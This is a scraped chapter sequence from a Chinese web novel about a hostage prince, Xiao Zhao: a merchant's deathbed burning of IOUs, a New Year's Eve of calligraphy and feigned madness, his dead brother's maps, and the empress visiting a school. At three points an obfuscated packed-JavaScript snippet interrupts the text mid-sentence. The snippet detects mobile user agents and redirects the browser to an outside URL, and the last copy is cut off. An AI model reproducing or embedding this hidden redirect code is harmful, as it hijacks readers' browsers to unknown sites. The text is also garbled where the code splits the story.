萧照顿时生出一种烂泥扶不上墙的感觉,自己在前方殚精竭虑,族人却在后方沉迷享乐,只图钱财。他甚至担心自己所谋划的一切终不过是千里之堤溃于蚁穴,一想到族人要钱的嘴脸萧照便觉心累无比。 阿勒齐倒是看得开,在一旁劝慰:“世子,大渊人常说,富过三代才知吃穿,喀沁连年战乱,族人也是看多了生死,知道要及时行乐,不留遗憾,更何况喀沁也算贫乏,族人都穷怕了,要不我们想办法运点金银回去吧。” 萧照权衡了一番,只得同意。 “阿勒齐,近日京都可有什么大户人家在办大事,我们去浑水摸鱼捞上一笔如何。” 阿勒齐平日素爱走街串巷,和各种三教九流打交道,颇有江湖人风范,所以消息格外灵通。 “有了,今日京都有个大善人沈员外病情危重,怕就是这一两天的事,我想,他咽气之时,就是家里子孙分家产之时,届时咱们可以趁乱悄悄顺点金银财宝。” “好,就他了。” 两人直接装扮成小厮混入到沈府中,当是时,沈老爷命悬一线,府里上上下下乱成一锅粥了,也无人注意到府里什么时候混进来两个小厮。 听闻这位沈老爷,也是京都商行响当当的人物,不仅乐善好施,为人慷慨,而且门路宽广,士农工商他都有广博的人脉。 大抵是自知自己时日无多了,沈老爷拿出库房钥匙,让心腹将里面大大小小的箱子都搬出来。 萧照发现了一个奇怪的现象,如此家大业大的沈家,每一位子孙都分了不少金银财宝,良田铺子,书画文玩,按理说应当欣喜若狂才是,可是萧照却发现每一个子孙面上都有不满之色。 “世子,分这么多他们怎么还嫌少啊?这么多钱,这要是分一箱子给我阿勒齐,我估计几辈子都花不完。” “这就是人心,欲壑难填,永远贪心不足蛇吞象。” 萧照想起了族人,只怕是此次无论往喀沁运回多少金银珠宝,都满足不了他们吧! 偌大的家产,居然来来回回分了整整一日才算清点完,分完,每位子孙又私下清点了一遍。 沈老爷吊着一口气迟迟不肯咽下,管家问他:“老爷,可还有何心事未了。” “把,把,我那个,床下的樟木箱子,搬上来。” 管家将沈老爷床下的箱子搬了上来,打开一看,里面整整一箱都是借据。 管家大惊:“老爷,这不是您这些年来借出去的银子借据,这些借据加在一起怕是得有白银十万两。” “不止,有十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913533|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五多,多万两。” 子孙们跪在下面,忙答道:“我等一定全力将这些钱讨要回来,不让沈家家产遗失在外。” 沈老爷喘了半天的气,终于吐出三个字:“都烧掉。” 底下众人皆大惊,不知为何,心道沈老爷弥留之际只怕是脑子也糊涂了。 管家又确认了一遍:“老爷,这些年来,您在京都那么多朋友,他们不管有难没难,家中有急无急,都从您这借了不少银钱,您碍于情面,也一直没找他们讨要,可这些钱不能白白没了啊。” 底下众人也纷纷附和道:“是啊,老爷,借据不能烧,您挣下这家业不容易啊,这些钱不能就这么算了。” 就这么僵持不下,众人皆不肯烧了这些拮据,好一会儿,沈老爷似有回光返照之象,突然挣扎着坐了起来。 他开口说道:“这些借据条子在你们眼里是一堆山的银子,可在老夫眼里,这就是一件件催命祸事。” 他拿起一支蜡烛,在众人的搀扶下慢慢走到箱子面前。 “老夫借出去的银子老夫心里清楚,这上面,哪一个不是各条道上有头有脸的人物,老夫当初向他们借银子,不是乐善好施,只是想为沈家交个朋友,商贾低贱,处处需要照应。” “这些借据,在老夫手里倒是没什么,他们愿意还便还了,不愿意还也就算了。” “可老夫时日无多了,这些借据到你们手里,那便是要命的祸事,若是碰上有良心的主,将银钱一一还了,可若是碰上心狠手辣的主,你们还去讨要,那时候又没有老夫的庇佑,怕是会凶多吉少啊。” “孩子们,莫要可惜,老夫愿你们宁可富贵庸碌一生,也不要干得罪小人的事,这是老夫最后能为你们铺平的一条路—平安路。” 言罢,沈老爷便将蜡烛丢到了借据箱内,火势瞬起,一时间,诸多借据条子纷纷化为灰烬,飘散空中。 萧照见此,内心震撼无比,阿勒齐看着那些条子烧着,不由得替沈老爷心疼。 借据一烧,沈家子孙纷纷大哭起来。 “哭什么,孩子们,山河尚在,尔等身体尚好,有何可哭,天地之大,想要家财万贯,自己去闯去挣便是。” 该说的都说完,该做的也都做了,沈老爷了无遗憾,终于闭上了眼睛。 眼见沈老爷咽了气,沈家子孙赶紧蜂拥而至,扑到借据箱子那灭火,甚至不惜双手烫伤,也要从中抢出几张未烧完的借据。 萧照感叹道:“可惜啊,可惜沈老爷的一片苦心,沈家之后怕是要没落了。” “世子,那一张条子少说几百两银子,多则几千两,我都想上去抢了。” “沈老爷留给子孙的,不是钱财,是人脉,后者是千金难买啊,那些借据,不管是否还在,有道义的总归是会还的,可遇到有权有势却是个黑心的,只怕要债的会因为这些银子白白送命啊。” “既然注定要不回来,倒不如把借据一烧,为子孙搏个好人情,那些借钱的人日后自会或多或少对他们照顾一二。” 沈府一游,令萧照想起了喀沁族人,担忧无比,看来从长远看,送金银钱财并不能施恩,反而会害了族人,可不送,也会让族人新生怨恨。 萧照思来想去,决定不给族人送金银这些身外之物,改送些棉被棉衣,粮食炭火,好让族人暖暖活活过个好年。 “主意倒是好,可是世子,你说的这些东西需要银钱来采买,钱呢?” “沈家如今乱成一锅粥,此时正是下手的好机会。” 阿勒齐无语,说来说去,绕来绕去,不还是要偷,弯弯绕绕的,真是麻烦。 世子更是无语,银钱简简单单,哪有人心复杂麻烦,喀沁一族,可不比沈家好经营,路还长着呢! 26.除夕 每逢佳节倍思亲,楼景谦在太傅府正发愁啊,别的的门生倒还好说,只是萧照是质子入京,在京都举目无亲,韩厉也是独身一人,如今又犯了疯病,这可如何是好。 一想到寻常人家过年能一大家子开开心心地吃个年夜饭,有说有笑,一起守岁,而萧照和韩厉,哎,都是苦命的孩子啊! “松远,把萧照给我叫过来,顺便也把韩厉给我绑来,大过年的,这俩孩子孤苦伶仃的,怪可怜唉!让厨房准备好好酒好菜,今晚为师陪他们一起吃年夜饭,一起守岁。” 管家似有所为难,迟迟未答复。 “怎么了,是怕不合礼数和规矩吗?小事,我楼景谦如今是大渊文坛第一人,我说的话就是礼数。” “家主,您忘了,太子今夜设除夕家宴,几个月前便提前送来帖子邀您去赴宴,您当时也同意了。” 楼景谦大惊:“什么时候的事,我怎么一点也记不得了,皇室家宴,老夫怎么能去呢?” “那个时候家主正因李苍雪大儒的事忧思过度,神情恍惚,怕是什么事也没往心里去。” 楼景谦摆摆手,急忙说道:“皇室家宴,老夫若是去了就太僭越了,不可不可,不是为臣之道,太子糊涂,老夫那时也糊涂,你怎么也不提醒老夫呢?” 管家犹豫了一会,方说道:“老奴猜想,太子殿下大抵是怕家主独身一人过除夕,难免有所感怀。故而想让家主去宫里热闹一番,便也不考虑礼法什么的了。” 楼景谦恍然大悟,突然想起好像自己这么多年来也是孤零零一个人过除夕。可韩厉和萧照那边…… 良久,楼景谦想到了一个自以为绝妙的好主意。 “松远,去找人告诉萧照和阿勒齐,就说为师有令,让他们俩今日务必要写够一万五千字书法,为师今日便要。” “还有,告诉阿勒齐,每个字不许低于十笔,要是再送过来一沓‘一’来,为师便要打断他的张郎腿。” 管家:???谁大过年的还做功课啊? 楼景谦摸摸胡须,笑着说:“每逢佳节倍思亲,可是与书法为伴,便不会感到独在异乡为异客了,忙起来好,忙起来好啊,就不会大过节地感古伤今了。” “家主,怕是萧公子和阿勒齐这个年过得手都要抽筋了。” “对了,松远,萧照和阿勒齐的那沓字交上来后,有劳你再跑一趟,都送到韩厉那,他现在走火入魔了,就喜欢烧些书画,今日佳节,所幸让他烧个够。” 楼景谦又急忙起身,七手八脚地将桌案旁的宣纸都找出来。 “家主,您这是要找什么?吩咐老奴便是了。” “我这几个月写的字呢?哪去了,都找出来,一并给韩厉送过去,加上老夫的笔墨,大概也够韩厉烧上一整夜了,就当老夫和师兄弟们也陪着他一起守岁了。” 管家:???一时不知道这世上疯的到底是韩厉还是家主。 除夕之夜,萧照原本打算和阿勒齐去酒楼大吃一顿,正欲出发,就迎来了两个坏消息。 其一,在韩府的“韩厉”替身因除夕告假一天,不用想,那替身定是回自家吃年夜饭了。萧照权衡一番,这年头,钱给得再多,也无法令人全年无休,是人,总有家人,总要回去一趟吃顿年夜饭,这无可厚非。 好在世人眼里的韩厉已疯魔,萧照觉得自己一会儿赶往韩府,只要披头散发,衣衫不整,在脸上涂点锅灰,装成疯韩厉的样子,应该没有什么大碍。 其二,楼太傅派人传师令,要萧照和阿勒齐每人各写一万五千字的书法,写完就要即刻送往太傅府。 事发紧急,萧照决定拿往日习作糊弄过去,结果,找了半天,愣是找不到只字片句。 “阿勒齐,我平日写的字呢?一沓一沓的,我写了那么多纸,你不会拿去当柴火烧了吧。” “世子,您是在找您往日书法习作吗?那个早就被我给交上去了,如今在楼太傅那。” “只是闲暇练笔之作,又不是精品,为何要交上去啊。” “太傅总给我布置功课,我不想写,就拿你平日练笔的文章交上去了,世子,您不是说过那些只是废稿!” 萧照:???此时想一掌拍死平日努力习字的自己,尽是为他人做嫁衣。 萧照人生第一次习字如此鬼画符,既看不出是行书也看不出是草书,甚至都看不出是不是字,匆匆写完先生要求的一万五千字后便着急忙慌地派人送到太傅府,而后又赶紧换身衣服,准备赶往京郊韩府。 临出发时,萧照望了望正在啃猪肘子的阿勒齐,突然杀到他面前,不怀好意地笑了一下。 “世子,怎么了,没事,您尽管出门吧,这里有我阿勒齐在宅子里看家,不会有什么事。”阿勒齐见萧照去而复返,明显被吓了一下。 “本世子突然想来了,楼太傅刚差人传了师命,要我和你各抄一万五千字,今夜便要交到太傅府,谁若是不交,便要打断谁的腿。本世子的习字刚刚交上去了,阿勒齐,你的呢?” 阿勒齐目瞪口呆…… “还有,那人让我转告你,太傅特意叮嘱,阿勒齐的每个字不许低于十笔。” 阿勒齐汗流浃背…… 嘴里的肘子顿时不香了:“咋,咋还有这回事唉!世子,你别走,快来救救我,我一个人写不完。” 萧照说完早就一溜烟地跑走了,独留阿勒齐在质子宅哀嚎,左手拿着肘子啃,右手拿着毛笔写,不一会,宣纸上满是猪油渍,肘子上也全是墨点。 萧照紧赶慢赶终于赶到韩府,迅速装扮出疯韩厉的样子,散开头发,弄脏脸,将衣服也搞得凌乱不堪,坐在韩府里。 没一会,果然有人赶来韩府,萧照故意用头发挡住脸,低头不语。 “韩公子,岁岁平安,多日不见,一切可还好?”这声音萧照觉得很熟悉,但他不能抬头确认来者是谁。 “太傅知道你如今喜欢烧些书画,就把一些师兄弟的连同太傅自己的习字都让老奴我给带过来了,太傅说这些够烧一整宿的,韩公子,尽管烧着玩吧,也算是应天府书院同公子一同守岁了。” 萧照终于想起来了,这熟悉的声音来自太傅身边的松远管家。 “说实话,老奴这辈子见过最漂亮的字就是韩公子你写的字,比家主写得都好,不过这话可不要告诉家主,韩公子,快点好起来吧,你这样的才华,不该如此。” 萧照心中有所动容,不禁感叹,韩厉啊韩厉,你永远不会知道你曾舍去的东西有多珍贵。 “韩公子,老奴每次见到你,就觉得你不像是这世道里的人,就好像是天上的文曲星下凡,是专门为书画而生的,只是没想到,最后竟是这样的光景,真是人算不如天算啊!”管家说着说着似有哽咽之音,便不再说下去了。 待太傅管家走后,萧照方抬起头来,只见眼前一摞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916501|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣纸,堆积如山。 也罢,除夕长夜漫漫,装疯也是百无聊赖,就如太傅所言,烧些书画助助兴吧。 萧照架好火盆,正准备烧,突然觉得最上面的那沓书法有些眼熟。 这,这,这不是我刚刚火急火燎抄的那一万五千字吗? 萧照的嘴角直抽抽,后槽牙都要咬碎了,合着我平日辛辛苦苦写的这些字就是拿来给疯韩厉烧着玩的啊! 内心的那把火正欲爆发之际,萧照突然又看见下面堆积如山的书法,这字迹,好像是楼太傅的,又看了看署名和盖印,果真如此。看来,楼太傅是把自己这几个月的习字一股脑都拿过来了。 自己的字舍不得烧,楼太傅的字拿出去能卖不少钱,就更舍不得烧了,萧照盯着火盆发呆。 那一夜,萧照重新取了些木炭放在火盆上,又点满蜡烛,躺在地上仔细看这些书法。 此刻忽觉得自己这次画符般的行书写得极好,很潇洒灵动,字也很活,原来自己真正擅长的是行书。 无意于佳乃是最佳,不追求书法,结构,布局,甚至也不追求写好字,没想到,这样的书法反而是自己这些日子以来写得最好的。 这些字里面,有自己平日苦练楷书的影子,有所向披靡大无畏的心境,有潇洒自得不受约束的用笔,有过往先贤的影响…… 此时此刻,萧照真想像韩厉素日那般在外人面前大喊一句:“我真乃百年难得一遇的奇才。” 算了,罢了,怎么喊都是会被人当成疯话。 炭火烧起的烟熏得萧照眼睛干涩,微风一吹,便流起了眼泪,萧照有点唏嘘,怎么回事?我们这样的人怎会如此,藏拙,装疯,客居他乡,终日藏头藏尾。 他想起了韩厉走前留下的最后一句话:“萧兄,莫要忘了诗书,那是我们在天地间唯一可以自在驰骋的地方。” 只有在诗书这里,没有逃不开的宿命和躲不过的因果,每个人赤条条一览无余,众生所苦练的,经历的,心痛的,顿悟的,都会在腕底流露出来,字外有字,我手写我心。 纵使笔不笔,墨不墨,自有心在。 萧照感怀之际,那位管家又来了一趟,这次送来的是阿勒齐的书法。 看着这一张张冒着猪油的宣纸,萧照两眼一黑,什么书法,什么造诣,都抛到九霄云外去了。居然趁本世子不在,用本世子最好的徽州宣纸,写这样狗爬的字,还就着猪肘子吃,等本世子回去,定要给阿勒齐好一顿教训。 天爷啊,连最后一张纸都有大片油渍,这些纸本世子攒了那么久都不舍得用,居然就这么被阿勒齐给拱了。 不对啊,那个猪肘子本世子走之前他已然吃了大半了,怎么一万五千字都写完了还没吃完,事出反常必有诈,阿勒齐又在浑水摸鱼。 萧照开始一个字一个字地数,他还就不信了,阿勒齐这厮能不偷工减料。 “一,二,三,……一百七七……,六千一百一十一……” 字数完了,整整七千个字,阿勒齐果然在偷工减料,明日我要告诉先生,阿勒齐每次习字要么拿我的字滥竽充数,要么就写不够,该打手心。 不知不觉,天已大亮,在京都的这个除夕夜,居然,就这么过去了,萧照觉得一瞬恍惚,那一瞬,彷佛觉得这些年的所作所为,就如同这个除夕夜般,辛辛苦苦半天,不过是场闹剧,一切好似在梦里,又怕最后这一切真是大梦一场。 27.舆图 京郊暗桩近日收到了十几幅舆图,图中涵盖了整个大渊的山川形势阴阳虚实。 “送此图的人可有留下名姓,可是我部族人?”萧照问道 “未曾。不过那人只是个无知稚子,似乎不知此图之用,我等已派人跟随。” 萧照大为不解,喀沁埋在大渊的暗桩,难道暴露了? 可是送的分明是大渊舆图,会是谁想借喀沁的刀杀人呢,北羌?契丹?南境? 这些舆图是真是假?如若是真,那便有可能是我喀沁族人所绘,可若真是族人,为何这些年来杳无音讯? 萧照叫来阿勒齐,让他把自己当年近京沿路所绘的那份舆图找来。 “世子,您啥时候画过舆图?我阿勒齐日日跟在你身边怎么不知道还有此事。” 世子白了他一眼,“本世子进京途中偷偷所绘,若是轻易让人知晓,那你我还能活到今日吗?” 阿勒齐点点头,突然想起当年进京途中,世子被大渊使团取笑说是接了个“屎王”入京,一天不是在茅房里蹲着便是在赶往茅房的路上。 “世子,原来您那时不是因为初入大渊水土不服吃坏了肚子,而是在偷偷画大渊舆图啊。” “莫问出处,你只管去把舆图找来便是,就在京都城外咱藏私钱的地方,速去找来。” “得令,我这就去。” “对了,顺道把钱也全都拿回来。” “得令。我这就去。”嘴上这么说,心里却在哀嚎,完了完了,钱一到质子府,八成十天半月就花完了,这年头,钱只有藏得远远地,看不见摸不着,才能存得住。 取回钱和舆图,萧照认真对比了一下,大渊其他地方无法比较,但是从喀沁到京都的这条官道,画得是分毫不差。 “阿勒齐,这些图你怎么看?” 此时,阿勒齐正盯着这些年攒的那些银钱直流口水,不知不觉居然攒了这么多啊,可以买上一整年的猪蹄吃了,花吧花吧,攒钱不就是为了花啊! “啊,世子,这暗桩送来的图假得很真啊!”面对萧照的突然提问,阿勒齐只得含糊说道。 “这怕就是如假包换的大渊舆图了。”萧照感叹道。 “世子,为何如此担忧,不费吹灰之力便得到了心心念念的大渊舆图,按理来说,你现在应该大喜过望才是啊!” 萧照沉默不语,他实在是想不通除了喀沁本族之人这天下还能有谁既知道喀沁的暗桩又能绘出整个大渊的舆图,难道阿达在大渊留了一手未曾告知过他? “追踪那送图稚子的兄弟们可打探出什么了?” “回世子,那稚子是个孤儿,不到八岁,是由同村一个身体有疾,面目损毁之人捡来养大的。” “快,带我去见那个人。”萧照心想,舆图事关重大,绘此图者定不会贸然将其托付给一个无知稚子,除非,这个孩子他绝对信得过,或者说,这个孩子就是他看着长大的。 跟着暗探的指引,萧照和阿勒齐找到了那稚子所在的村子。 见惯了京都繁华,到村子里一眼望去,全是荒芜破败的景象,房屋瓦舍和人一样风尘仆仆,灰头土脸。 “那稚子叫什么?家中可有什么大事?” “那孩子没有名字,父母不详,自己整日称自己为二爷,称自己的义父为大爷。” “世子,这孩子甚是无礼,张口闭口全是腌臜话,脸和衣服都脏得要死,身上一股汗臭味,还不懂三纲五常,居然和自己的义父整日称兄道弟。”另一暗探一脸嫌弃。 “无父无母的孩子,在这乱世能活着便是不错了,既没有人能教他规矩,也没有人能给他做饭洗衣,什么都要靠自己。脏点臭点咋了,又没吃咱家大米。”阿勒齐有些打抱不平。 “休得无礼,稚子何辜,他那位身体有疾的义父只怕也是自顾不暇了,顾不上教养孩子了,这样吧,为表敬重,待会我们见到他们,也称呼大爷二爷好了。”萧照也附和道。 出乎所有人意料,“二爷”正被一个老伯领着挨家挨户地给人磕头下跪。 前几日在暗桩那张牙舞爪的毛孩子怎么一回村便成了这副怂样?两名暗卫纷纷疑惑。 萧照一行人跟着那位老伯和“二爷”来到了一户农舍前,老夫拍了拍门,一条小黄狗飞快蹿了出来。 “家里有人吗?”老伯驼着背问道。 “有,都在家,舅爷咋来了?”一妇人走了出来。 见人一来,“二爷”噗通一声就跪下磕了个响头。 “他婶啊,这次要耽误你忙农活了,二子家里有事了。”老伯边说边递了几个野果过去。 妇人接过野果,啃了一口,又将“二爷”扶了起来,问道:“晓得了,要我干啥子?” “厨房做顿饭,可不?咱村里人都出点力,互相照应一下,多烧点热水。”老伯试探性问道。 “要得要得。”妇人一听便明了。 众人皆是不解,唯有萧照看出来了,“二爷”的义父死了,他们是在筹备丧事。 只要仔细观察,便不难发现,那孩子身上穿的是白衣,只是被柴火熏黑了,被黄土染脏了。 “二爷,能带我去见大爷最后一面吗?或许我认识你家大爷的亲人。”萧照问道。 老伯摆摆手,说道:“二子他爹以前说过,他还活着的时候他家里人就不要他了,对外说这个儿子早就死了,如今他真死了,更不会有什么亲人了。” 那孩子似乎感觉有什么不对,马上补充道:“说错了说错了,小爷我还在呢,我就是他亲人。” 萧照闻言心里骤然一紧,他想起额吉说过,冀州战败,三哥赶去支援,阿达将三哥的战马抢去,自己逃回了喀沁,看来我喀沁族人,虎毒食子,竟是一脉相承。 几人来到了“二爷”的家中,想必床上用草席裹着的便是那位画舆图之人。 萧照慢慢掀开草席,只见席中之人身上遍是烧伤,刀伤,枪伤,早已面目全非,看不出模样了。想必是在冀州那场大战中九死一生,哪怕侥幸活着,八成也是苟延残喘,强弩之末。 也算是心志非常人所能及,顶着这副残败身躯,居然也能用十几年光景,踏遍整个大渊,绘出那些舆图。 床底下散乱摆放着很多酒坛,萧照蹙眉:“旧伤那么重,他难道不知道他这副身体如若再饮酒只会死得更快?” 老伯叹息道:“劝过了,只是他总说,一想到他那些兄弟们,就心痛如刀割,我瞧着他一个大男人总是喝着哭,哭着喝,便知道啥也劝不动了。这些年来他和二子一直出外讨饭,一出去就是一年半载,讨来的俩钱全用来买酒了。” “他的那些兄弟如今怎样了?”萧照明知故问,心里却暗暗希望老伯能给出不一样的答案。 “早死了,他有次喝酒时说过,出征前答应过会带他们回家,可是,最后除了他,谁也没活着回来。” 萧照痛苦地闭上了眼睛,他想起喀沁的那些妇孺,喀沁草原的每一晚都有她们的哭声,哭诉男人都死在了冀州,谁来照顾她们这些孤儿寡母,往后日子该怎么过下去…… 老伯见状安慰道:“小兄弟,你年纪尚小,怕是没上过战场,战报就是用血写出来了,前日是老朽的血,昨日是二子他爹的血,他日或许就是二子和你的血,世道就是这样,生不如死,如今他这一走,倒也算是解脱了。” “老伯,您也去过战场?” “去过去过,到了那地方,人就不是人了,像猪,像狼,像狗,像老鳖,反正就不像个人。能侥幸活着回来的,谁又不是行尸走肉呢?像二子他爹这样的,在我们村,多得是。” 老伯年纪大了,总 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“真是妇人之仁,不入虎穴,焉得虎子,乱世才能造英雄。”喀沁大汗呵斥了妻子。 “我不管,我只要儿子活着回来。” 回过神来,萧照恍如隔世,原来躺在席上的,竟是自己的兄长。 可究竟是哪一位兄长,萧照却不得而知,他只知道,阿达说过,他的每一位兄长都死于大渊敌军之手,千真万确。 究竟是真死于大渊敌军之手,还是阿达爱惜羽翼,不愿折损兵力去相救。 他甚至能猜到,在战乱中,阿达亲自将那块玉戴在兄长脖颈处,边说道,这块玉只传给喀沁下一任大汗,汝定要血战到底,喀沁的未来就在你手里。 毕竟生死攸关之际,让亲儿子率兵给自己断后这种事,他也不是第一次干了。 难怪兄长宁愿终日讨饭酗酒,也不愿回家。 或许兄长今日终局,便是他日我萧照命运归途,萧照不由得这样想,也不得不这样盘算起来,若他日身处险境沦为弃子,自己是万万不能指望喀沁的一兵一卒,必须要有一个自己的战力,且这个战力只能受自己调配。 萧照出钱出力,给兄长筹备丧事,在棺材将要钉上的那一瞬,“二爷”突然嚎啕大哭,拼命拦着众人,不让棺材钉住。 “拦住他。”萧照冷冷道。 “放开我,放开我,那是我大爷,不许你们钉住他。”“二爷”小小年纪,不知道哪来的牛劲,居然抢走了一个暗卫手中的锤子。 萧照未曾告知身边人真相,两名暗卫也只想草草办完丧事早日回去,毕竟质子偷偷出城是大罪,眼见锤子被“二爷”抢去,一名暗卫竟然跳在棺盖上,重重踩上几脚,好使棺材钉得牢实些。 眼见暗卫踩在棺盖上,萧照心如刀绞,想出言呵斥,又怕引人怀疑。那么多双汉人村民的眼睛看着,他筹备丧事已然出格,不能再表露出任何痛惜之举了。 阿勒齐将锤子抢回来,这才好好把棺材钉好,萧照心里终于松了一口气。 “二爷”在地上翻滚打闹,痛哭流涕,或许他这个年纪并不懂生死,但他明白,棺材一旦钉上,人就再也不会回来了。 这个孩子不懂孝子摔盆,不懂人情,也不懂祭祀拜灵,却很重情义,两手抱着棺材迟迟不肯撒手。 村里人劝了好久都劝不动,总不能连孩子也一起埋了,丧事也因此搁置了。 等了好久,老伯见这孩子双手抱累了,赶紧让村里人将“二爷”拉开,暂时关了起来,不许他再这么胡闹丧礼。 萧照全程不语,他心里自嘲了一下,当个无知稚子都比当个一族世子要好,至少能流露喜怒哀乐,至少能在兄长的丧礼上大哭一场。 丧礼结束后,萧照将“二爷”带回了质子府,他在心里悄然酝酿出了一个计划。 28.翰璃学宫(上) 正月初七,皇后娘娘按例要出宫到报国寺进香。 “随意准备一下就行了,不用铺张,本宫不会在报国寺久呆。”皇后娘娘刚起,声音慵懒。 “娘娘这是要转道去京郊韩府看望韩公子。”芸香心思敏捷猜到了。 皇后娘娘叹了口气,“芸香,你说韩厉的这个疯病,该不会就是本宫逼出来的吧!怎么本宫要他写的书刚一写完,他就疯魔了。” 芸香一想起前段时间皇后娘娘逼韩厉攥《京都女子实录》不由得汗颜,写得慢了,娘娘上来就是提剑指着韩厉破口大骂,写得不合娘娘心意,也是千改万改,夙兴夜寐,整日熬得眼圈都比灶台还黑了。 “娘娘,韩厉的先生楼太傅可比您严苛多了,真要说谁逼疯了他,那也该是楼太傅。”芸香冥思苦想了半天,才回了这句。 “当真?” “是啊,娘娘您想,除夕家宴那日,楼太傅吃着席都不忘让手下人出宫传话,问问弟子今夜那一万五千字写完否?这换做是谁能不疯啊?”芸香说道。 “可不是嘛,天爷啊,那晚可正是除夕家家户户吃年夜饭的时候,就这还要写一万多字,平时怕更难想象了。”兰香附和道。 皇后娘娘想起自己幼时进私塾的那半年,前前后后加起来总共也就写了三百多字,而楼太傅的学生,光是除夕一晚就要写那么多字,这要是换成自己,怕是早就一脚把楼太傅踹粪坑里淹死了。 “也罢,虽是楼太傅全责,本宫也难辞其咎。本宫虽不是个好主子,不过共谋一场,总归是要看看他的,芸香,一会带上几个好的太医。” 芸香心里哀怨道:娘娘,原来您也知道您平日不是个好主子啊! 兰香和芸香偷偷交换了个眼神,似说道:姐妹,你我平日可要互相照应帮衬着,万不能也疯了。 皇后娘娘的仪仗甫一出宫,萧照便收到了消息。 “京郊韩府都准备好了吗?皇后娘娘很快便会到。”萧照问到。 “早已准备妥当,只等娘娘来看这一出好戏。” “好,吩咐下去,要万事谨慎,她虽是深宫妇人,见识却不比尔等要少,切记不可漏出破绽。” 进香结束,皇后娘娘和芸香等人马不停蹄地赶往京郊韩府。 报国寺的主持:???娘娘,怎么每回一提香油钱您就脚底抹油溜了。 一进韩府,便听到后院传来朗朗书声,皇后娘娘颇为奇怪:“这韩历不是疯了吗?怎么府里还有读书声啊?” “可不是,奴婢也听到了,该不会这读书就是越读越疯,越疯越读?”兰香也在奇怪这韩府怎么如此邪性。 “娘娘您仔细听,这里似乎也有女子读书的声音。”兰香提醒道。 皇后娘娘一听,果真有女子的声音,而且还不少,顿觉惊喜无比。 “快,派人打听打听,这韩府是怎么了?” 几刻钟后,兰香带人来回禀了。 “韩厉疯病如何了?”皇后娘娘倒是不忘初心,首先问起了韩厉的病情。 “回娘娘,太医去诊治了,身体并无大碍,只是心魔难治,药石无医。这疯病怕是还要看他自己的造化了,太医已然束手无策了。” “告诉太医,只管好药伺候着,切莫放弃医治,这一关,他韩厉定能捱得住。” “诺。” “后院的读书声是怎么回事,本宫怎么听着有男有女,有大有小?” “韩府的街坊们说韩公子没疯之前四处游历,结识了很多苦命女子,时常贴补那些女子。奴婢觉得大概就是娘娘命韩公子写《京都女子实录》时认识的那些女子。” 芸香接着说道:“韩公子疯后,他的好友萧公子便代为照料那些女子。” 皇后娘娘立刻警觉:“什么?一个大男人居然主动要照顾一群孤弱女子,芸香,好好彻查,切不可低估男人的歹心。” “娘娘,奴婢查过了,萧公子对那群女子没有任何非分之想,他不仅在韩府安置了许多苦命女子,而且还收养了一些战乱遗孤,有男有女,从未传出什么出格之举。” “那姓萧的可是叫萧照?”皇后娘娘像是想起什么来。 “正是,也是他亲自在韩府教她们读书识字。” “本宫知道他,韩厉之前说过,写女子实录的时候萧照也出了很大的力,说起来,本宫还未曾当面谢过他呢。” 说着说着,一个小姑娘偷偷跑出了后院。 皇后娘娘的侍卫立马发现,将她带到了娘娘面前。 “好啊,还未下学,先生还在里面讲学,你就偷偷跑出来了,来人啊,把本宫的玉如意拿来,本宫要替这孩子的娘打她一顿。” 芸香急忙劝道:“娘娘这怕是不好吧,孩子还小?” “本宫当朝皇后母仪天下,这天下哪个孩子本宫打不得?小丫头,你给我过来,知不知道这世道女子读书有多不易吗?居然还敢逃学?” 小女孩摇头晃脑:“俺就不想读书,就不学,你打啊,来啊。”边说还边向皇后娘娘吐舌头。 “你娘是谁,快告诉本宫,本宫要把你娘叫过来当面好好教训你一顿。” “俺娘在家里生小弟弟,不会来打俺的,他们早就不管俺了。”小丫头说此话时天真无邪,皇后娘娘见此不禁起了恻隐之心,心气也全消了。 “你娘怎会不管你呢?有时间逃学不如回家多陪陪她。” “如今的这个娘就是不管俺,也不打俺。” 皇后娘娘疑惑:“如今的娘,你到底是有几个娘啊?” 小丫头想了想,说道:“以前也有个娘,她会管俺,也会打俺,但是前年就跑了,爹说她再也不会回来了。” “你长大以后会去找这个娘吗?” “找不到,俺不知道她去哪了,萧先生说俺可以跟着他识字,等长大以后字认全了就可以给她写信了。” “你长大以后还想做什么?” “想杀猪,这样就能天天都有肉吃了,给俺弟弟炖肉吃。” “呸,你弟弟想吃肉就自己去挣去,用得着你在这瞎操什么破心。”皇后娘娘又开始破口大骂起来。 “俺爹说,俺不中用,肉要存下来给俺弟弟吃。” 皇后娘娘闭目不语,那小丫头便在一旁偷偷玩起了芸香的裙子。 “阿妹,阿妹,你在哪啊,快出来啊!” “阿妹,再不出来就要多抄一页字了。” 听到外面有人寻她,小姑娘连忙躲在皇后娘娘怀里,嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 